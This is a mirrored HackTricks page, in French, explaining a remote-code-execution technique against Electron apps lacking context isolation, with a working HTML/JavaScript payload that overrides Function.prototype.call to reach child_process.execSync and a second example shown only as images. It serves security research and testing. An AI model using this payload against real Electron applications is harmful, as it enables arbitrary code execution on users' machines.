mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
60 lines
2.0 KiB
Markdown
60 lines
2.0 KiB
Markdown
# Electron contextIsolation RCE via Electron internal code
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Exemple 1
|
|
|
|
Exemple de [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
|
|
|
|
L'écouteur d'événements "exit" est toujours défini par le code interne lorsque le chargement de la page commence. Cet événement est émis juste avant la navigation :
|
|
```javascript
|
|
process.on("exit", function () {
|
|
for (let p in cachedArchives) {
|
|
if (!hasProp.call(cachedArchives, p)) continue
|
|
cachedArchives[p].destroy()
|
|
}
|
|
})
|
|
```
|
|
{{#ref}}
|
|
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
|
|
{{#endref}}
|
|
|
|
.png>)
|
|
|
|
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- N'existe plus
|
|
|
|
Ensuite, cela va ici :
|
|
|
|
.png>)
|
|
|
|
Où "self" est l'objet process de Node :
|
|
|
|
.png>)
|
|
|
|
L'objet process a une référence à la fonction "require" :
|
|
```
|
|
process.mainModule.require
|
|
```
|
|
Comme le handler.call va recevoir l'objet process, nous pouvons le remplacer pour exécuter du code arbitraire :
|
|
```html
|
|
<script>
|
|
Function.prototype.call = function (process) {
|
|
process.mainModule.require("child_process").execSync("calc")
|
|
}
|
|
location.reload() //Trigger the "exit" event
|
|
</script>
|
|
```
|
|
## Exemple 2
|
|
|
|
Obtenez **l'objet require à partir de la pollution du prototype**. De [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
|
|
|
Fuite :
|
|
|
|
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Exploitation :
|
|
|
|
<figure><img src="../../../images/image (89).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|